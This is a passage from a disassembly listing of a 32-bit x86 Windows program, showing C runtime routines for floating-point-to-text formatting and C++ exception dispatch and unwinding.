loc_4149E8: ; CODE XREF: sub_4149C5+34j
mov cl, [eax]
test cl, cl
jz short loc_4149FB
cmp cl, 65h
jz short loc_4149FB
cmp cl, 45h
jz short loc_4149FB
inc eax
jmp short loc_4149E8
; ---------------------------------------------------------------------------
loc_4149FB: ; CODE XREF: sub_4149C5+27j
; sub_4149C5+2Cj ...
mov ecx, eax
loc_4149FD: ; CODE XREF: sub_4149C5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_4149FD
cmp [eax], dl
jnz short loc_414A08
dec eax
loc_414A08: ; CODE XREF: sub_4149C5+40j
; sub_4149C5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_414A08
locret_414A12: ; CODE XREF: sub_4149C5+21j
retn
sub_4149C5 endp
; =============== S U B R O U T I N E =======================================
sub_414A13 proc near ; DATA XREF: sub_410D99+28o
; seg002:off_42E4D8o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_41C790
fnstsw ax
sahf
jb short loc_414A28
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_414A28: ; CODE XREF: sub_414A13+Fj
xor eax, eax
retn
sub_414A13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A2B proc near ; CODE XREF: sub_41578D+430p
; DATA XREF: sub_410D99+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_414A54
lea eax, [ebp+var_8]
push eax
call sub_418728
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_414A54: ; CODE XREF: sub_414A2B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_418755
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_414A2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A69 proc near ; CODE XREF: sub_414CE6+17p
; sub_414D30+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:byte_45F8A8, 0
push ebx
push esi
jz short loc_414A9E
mov ebx, [ebp+arg_8]
mov eax, ds:dword_45F8A4
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_414D81
pop ecx
pop ecx
jmp short loc_414AD6
; ---------------------------------------------------------------------------
loc_414A9E: ; CODE XREF: sub_414A69+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4187F9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_418782
add esp, 14h
loc_414AD6: ; CODE XREF: sub_414A69+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_414AE2
mov byte ptr [eax], 2Dh
inc eax
loc_414AE2: ; CODE XREF: sub_414A69+73j
test ebx, ebx
jle short loc_414AFA
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, ds:byte_42E3A0
mov eax, edi
pop edi
mov [eax], cl
loc_414AFA: ; CODE XREF: sub_414A69+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp ds:byte_45F8A8, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_411B70
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_414B21
mov byte ptr [ecx], 45h
loc_414B21: ; CODE XREF: sub_414A69+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_414B66
mov ebx, [esi+4]
dec ebx
jns short loc_414B35
neg ebx
mov byte ptr [ecx], 2Dh
loc_414B35: ; CODE XREF: sub_414A69+C5j
inc ecx
cmp ebx, 64h
jl short loc_414B4C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_414B4C: ; CODE XREF: sub_414A69+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_414B63
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_414B63: ; CODE XREF: sub_414A69+E7j
add [ecx+1], bl
loc_414B66: ; CODE XREF: sub_414A69+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_414A69 endp
; =============== S U B R O U T I N E =======================================
sub_414B6D proc near ; CODE XREF: sub_414D0D+13p
; sub_414D30+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp ds:byte_45F8A8, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_414BA8
mov eax, ds:dword_45F8AC
mov ebx, [esp+10h+arg_8]
mov esi, ds:dword_45F8A4
cmp eax, ebx
jnz short loc_414BD8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_414BD8
; ---------------------------------------------------------------------------
loc_414BA8: ; CODE XREF: sub_414B6D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4187F9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_418782
add esp, 14h
loc_414BD8: ; CODE XREF: sub_414B6D+22j
; sub_414B6D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_414BE6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_414BE6: ; CODE XREF: sub_414B6D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_414BFD
push 1
push edi
call sub_414D81
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_414BFF
; ---------------------------------------------------------------------------
loc_414BFD: ; CODE XREF: sub_414B6D+7Ej
add edi, eax
loc_414BFF: ; CODE XREF: sub_414B6D+8Ej
test ebx, ebx
jle short loc_414C44
push 1
push edi
call sub_414D81
mov al, ds:byte_42E3A0
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_414C44
cmp ds:byte_45F8A8, 0
jz short loc_414C29
neg esi
jmp short loc_414C2F
; ---------------------------------------------------------------------------
loc_414C29: ; CODE XREF: sub_414B6D+B6j
neg esi
cmp ebx, esi
jl short loc_414C31
loc_414C2F: ; CODE XREF: sub_414B6D+BAj
mov ebx, esi
loc_414C31: ; CODE XREF: sub_414B6D+C0j
push ebx
push edi
call sub_414D81
push ebx
push 30h
push edi
call sub_410590
add esp, 14h
loc_414C44: ; CODE XREF: sub_414B6D+94j
; sub_414B6D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_414B6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C4B proc near ; CODE XREF: sub_414D30+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4187F9
mov ds:dword_45F8A4, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov ds:dword_45F8AC, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_418782
mov eax, ds:dword_45F8A4
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp ds:dword_45F8AC, ecx
setl cl
mov ds:byte_45F8B0, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov ds:dword_45F8AC, eax
jl short loc_414CD1
cmp eax, ebx
jge short loc_414CD1
test cl, cl
jz short loc_414CC2
loc_414CB8: ; CODE XREF: sub_414C4B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_414CB8
and [esi-2], al
loc_414CC2: ; CODE XREF: sub_414C4B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_414D0D
add esp, 0Ch
jmp short loc_414CE1
; ---------------------------------------------------------------------------
loc_414CD1: ; CODE XREF: sub_414C4B+63j
; sub_414C4B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_414CE6
add esp, 10h
loc_414CE1: ; CODE XREF: sub_414C4B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_414C4B endp
; =============== S U B R O U T I N E =======================================
sub_414CE6 proc near ; CODE XREF: sub_414C4B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov ds:byte_45F8A8, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_414A69
and ds:byte_45F8A8, 0
add esp, 10h
retn
sub_414CE6 endp
; =============== S U B R O U T I N E =======================================
sub_414D0D proc near ; CODE XREF: sub_414C4B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ds:byte_45F8A8, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_414B6D
and ds:byte_45F8A8, 0
add esp, 0Ch
retn
sub_414D0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D30 proc near ; CODE XREF: sub_412C3C+3AAp
; DATA XREF: sub_410D99o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_414D6B
cmp [ebp+arg_8], 45h
jz short loc_414D6B
cmp [ebp+arg_8], 66h
jnz short loc_414D58
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414B6D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414D58: ; CODE XREF: sub_414D30+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414C4B
jmp short loc_414D7C
; ---------------------------------------------------------------------------
loc_414D6B: ; CODE XREF: sub_414D30+7j
; sub_414D30+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414A69
loc_414D7C: ; CODE XREF: sub_414D30+39j
add esp, 10h
pop ebp
retn
sub_414D30 endp
; =============== S U B R O U T I N E =======================================
sub_414D81 proc near ; CODE XREF: sub_414A69+2Cp
; sub_414B6D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_414DA4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_410B60
inc eax
push eax
push esi
add esi, edi
push esi
call sub_4112D0
add esp, 10h
pop esi
loc_414DA4: ; CODE XREF: sub_414D81+7j
pop edi
retn
sub_414D81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DA6 proc near ; CODE XREF: seg000:00410F7Cp
; sub_410FE5+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_414DBC
call sub_415642
loc_414DBC: ; CODE XREF: sub_414DA6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_414DE4
cmp dword ptr [esi+4], 0
jz short loc_414E3A
cmp [ebp+arg_14], 0
jnz short loc_414E3A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4150ED
add esp, 10h
jmp short loc_414E3A
; ---------------------------------------------------------------------------
loc_414DE4: ; CODE XREF: sub_414DA6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_414E3A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_414E1E
cmp [eax+14h], edi
jbe short loc_414E1E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_414E1E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_414E3D
; ---------------------------------------------------------------------------
loc_414E1E: ; CODE XREF: sub_414DA6+4Aj
; sub_414DA6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_414E41
add esp, 20h
loc_414E3A: ; CODE XREF: sub_414DA6+23j
; sub_414DA6+29j ...
push 1
pop eax
loc_414E3D: ; CODE XREF: sub_414DA6+76j
pop edi
pop esi
pop ebp
retn
sub_414DA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E41 proc near ; CODE XREF: sub_414DA6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_414E61
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_414E66
loc_414E61: ; CODE XREF: sub_414E41+16j
call sub_415642
loc_414E66: ; CODE XREF: sub_414E41+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_414FBD
cmp dword ptr [esi+10h], 3
jnz short loc_414EDA
cmp [esi+14h], edi
jnz short loc_414EDA
cmp dword ptr [esi+1Ch], 0
jnz short loc_414EDA
mov esi, ds:dword_45F8B4
test esi, esi
jz loc_414FB8
mov eax, ds:dword_45F8B8
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_418980
pop ecx
test eax, eax
pop ecx
jnz short loc_414EBC
call sub_415642
loc_414EBC: ; CODE XREF: sub_414E41+74j
cmp [esi], ebx
jnz loc_414FBD
cmp dword ptr [esi+10h], 3
jnz short loc_414EDA
cmp [esi+14h], edi
jnz short loc_414EDA
cmp dword ptr [esi+1Ch], 0
jnz short loc_414EDA
call sub_415642
loc_414EDA: ; CODE XREF: sub_414E41+41j
; sub_414E41+46j ...
cmp [esi], ebx
jnz loc_414FBD
cmp dword ptr [esi+10h], 3
jnz loc_414FBD
cmp [esi+14h], edi
jnz loc_414FBD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_411133
add esp, 14h
mov ebx, eax
loc_414F11: ; CODE XREF: sub_414E41+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_414FA8
cmp [ebx], edi
jg short loc_414F9D
cmp edi, [ebx+4]
jg short loc_414F9D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_414F9A
loc_414F36: ; CODE XREF: sub_414E41+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_414F67
loc_414F48: ; CODE XREF: sub_414E41+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_415090
add esp, 0Ch
test eax, eax
jnz short loc_414F76
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_414F48
loc_414F67: ; CODE XREF: sub_414E41+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_414F36
jmp short loc_414F9A
; ---------------------------------------------------------------------------
loc_414F76: ; CODE XREF: sub_414E41+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4151A1
add esp, 2Ch
loc_414F9A: ; CODE XREF: sub_414E41+F3j
; sub_414E41+133j
mov edi, [ebp+var_10]
loc_414F9D: ; CODE XREF: sub_414E41+DEj
; sub_414E41+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_414F11
; ---------------------------------------------------------------------------
loc_414FA8: ; CODE XREF: sub_414E41+D6j
cmp [ebp+arg_14], 0
jz short loc_414FB8
push 1
push esi
call sub_415516
pop ecx
pop ecx
loc_414FB8: ; CODE XREF: sub_414E41+56j
; sub_414E41+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_414FBD: ; CODE XREF: sub_414E41+37j
; sub_414E41+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_414FE3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_414FE8
add esp, 20h
jmp short loc_414FB8
; ---------------------------------------------------------------------------
loc_414FE3: ; CODE XREF: sub_414E41+180j
jmp sub_4155EC
sub_414E41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FE8 proc near ; CODE XREF: sub_414E41+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp ds:dword_45F8BC, 0
push esi
push edi
jz short loc_415019
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41100A
add esp, 1Ch
test eax, eax
jnz short loc_41508C
loc_415019: ; CODE XREF: sub_414FE8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_411133
add esp, 14h
mov esi, eax
loc_415035: ; CODE XREF: sub_414FE8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41508C
cmp edi, [esi]
jl short loc_415084
cmp edi, [esi+4]
jg short loc_415084
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41505E
cmp byte ptr [ecx+8], 0
jnz short loc_415084
loc_41505E: ; CODE XREF: sub_414FE8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4151A1
add esp, 2Ch
loc_415084: ; CODE XREF: sub_414FE8+57j
; sub_414FE8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_415035
; ---------------------------------------------------------------------------
loc_41508C: ; CODE XREF: sub_414FE8+2Fj
; sub_414FE8+53j
pop edi
pop esi
leave
retn
sub_414FE8 endp
; =============== S U B R O U T I N E =======================================
sub_415090 proc near ; CODE XREF: sub_414E41+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4150E7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4150E7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4150C1
add ecx, 8
push ecx
push edx
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4150E3
loc_4150C1: ; CODE XREF: sub_415090+1Fj
test byte ptr [esi], 2
jz short loc_4150CB
test byte ptr [edi], 8
jz short loc_4150E3
loc_4150CB: ; CODE XREF: sub_415090+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4150DA
test byte ptr [edi], 1
jz short loc_4150E3
loc_4150DA: ; CODE XREF: sub_415090+43j
test al, 2
jz short loc_4150E7
test byte ptr [edi], 2
jnz short loc_4150E7
loc_4150E3: ; CODE XREF: sub_415090+2Fj
; sub_415090+39j ...
xor eax, eax
jmp short loc_4150EA
; ---------------------------------------------------------------------------
loc_4150E7: ; CODE XREF: sub_415090+Bj
; sub_415090+14j ...
push 1
pop eax
loc_4150EA: ; CODE XREF: sub_415090+55j
pop edi
pop esi
retn
sub_415090 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150ED proc near ; CODE XREF: sub_414DA6+34p
; sub_4151A1+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C7D8
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41511F: ; CODE XREF: sub_4150ED+8Aj
cmp esi, [ebp+arg_C]
jz short loc_415179
cmp esi, 0FFFFFFFFh
jle short loc_41512E
cmp esi, [edi+4]
jl short loc_415133
loc_41512E: ; CODE XREF: sub_4150ED+3Aj
call sub_415642
loc_415133: ; CODE XREF: sub_4150ED+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41514E
push 103h
push ebx
push eax
call sub_4155A0
loc_41514E: ; CODE XREF: sub_4150ED+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41516E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41518B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41516E: ; CODE XREF: sub_4150ED+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41511F
; ---------------------------------------------------------------------------
loc_415179: ; CODE XREF: sub_4150ED+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4150ED endp
; =============== S U B R O U T I N E =======================================
sub_41518B proc near ; CODE XREF: sub_4150ED+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41519C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41519C: ; CODE XREF: sub_41518B+Cj
jmp sub_4155EC
sub_41518B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151A1 proc near ; CODE XREF: sub_414E41+151p
; sub_414FE8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4151C3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_415352
add esp, 10h
loc_4151C3: ; CODE XREF: sub_4151A1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4151CF
push edi
jmp short loc_4151D2
; ---------------------------------------------------------------------------
loc_4151CF: ; CODE XREF: sub_4151A1+29j
push [ebp+arg_24]
loc_4151D2: ; CODE XREF: sub_4151A1+2Cj
call sub_410F0C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4150ED
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41521C
add esp, 2Ch
test eax, eax
jz short loc_415217
push edi
push eax
call sub_410ECA
loc_415217: ; CODE XREF: sub_4151A1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4151A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41521C proc near ; CODE XREF: sub_4151A1+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C7E8
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, ds:dword_45F8B4
mov [ebp+var_1C], ecx
mov ecx, ds:dword_45F8B8
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov ds:dword_45F8B4, edi
mov ecx, [ebp+arg_8]
mov ds:dword_45F8B8, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_410F91
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_4152E2
mov eax, [ebp+var_2C]
loc_4152A9: ; CODE XREF: seg000:004152D8j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41521C endp
; =============== S U B R O U T I N E =======================================
sub_4152B8 proc near ; DATA XREF: seg001:0041C7F8o
push dword ptr [ebp-14h]
call sub_415328
pop ecx
retn
sub_4152B8 endp
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_4111F2
pop ecx
pop ecx
xor eax, eax
jmp short loc_4152A9
; ---------------------------------------------------------------------------
loc_4152DA: ; DATA XREF: seg001:0041C7F0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_4152E2 proc near ; CODE XREF: sub_41521C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov ds:dword_45F8B4, eax
mov eax, [ebp-20h]
mov ds:dword_45F8B8, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_415327
cmp dword ptr [edi+10h], 3
jnz short locret_415327
cmp dword ptr [edi+14h], 19930520h
jnz short locret_415327
cmp [ebp-24h], ebx
jnz short locret_415327
cmp [ebp-2Ch], ebx
jz short locret_415327
call sub_41125A
push eax
push edi
call sub_415516
pop ecx
pop ecx
locret_415327: ; CODE XREF: sub_4152E2+1Cj
; sub_4152E2+22j ...
retn
sub_4152E2 endp
; =============== S U B R O U T I N E =======================================
sub_415328 proc near ; CODE XREF: sub_4152B8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41534F
cmp dword ptr [eax+10h], 3
jnz short loc_41534F
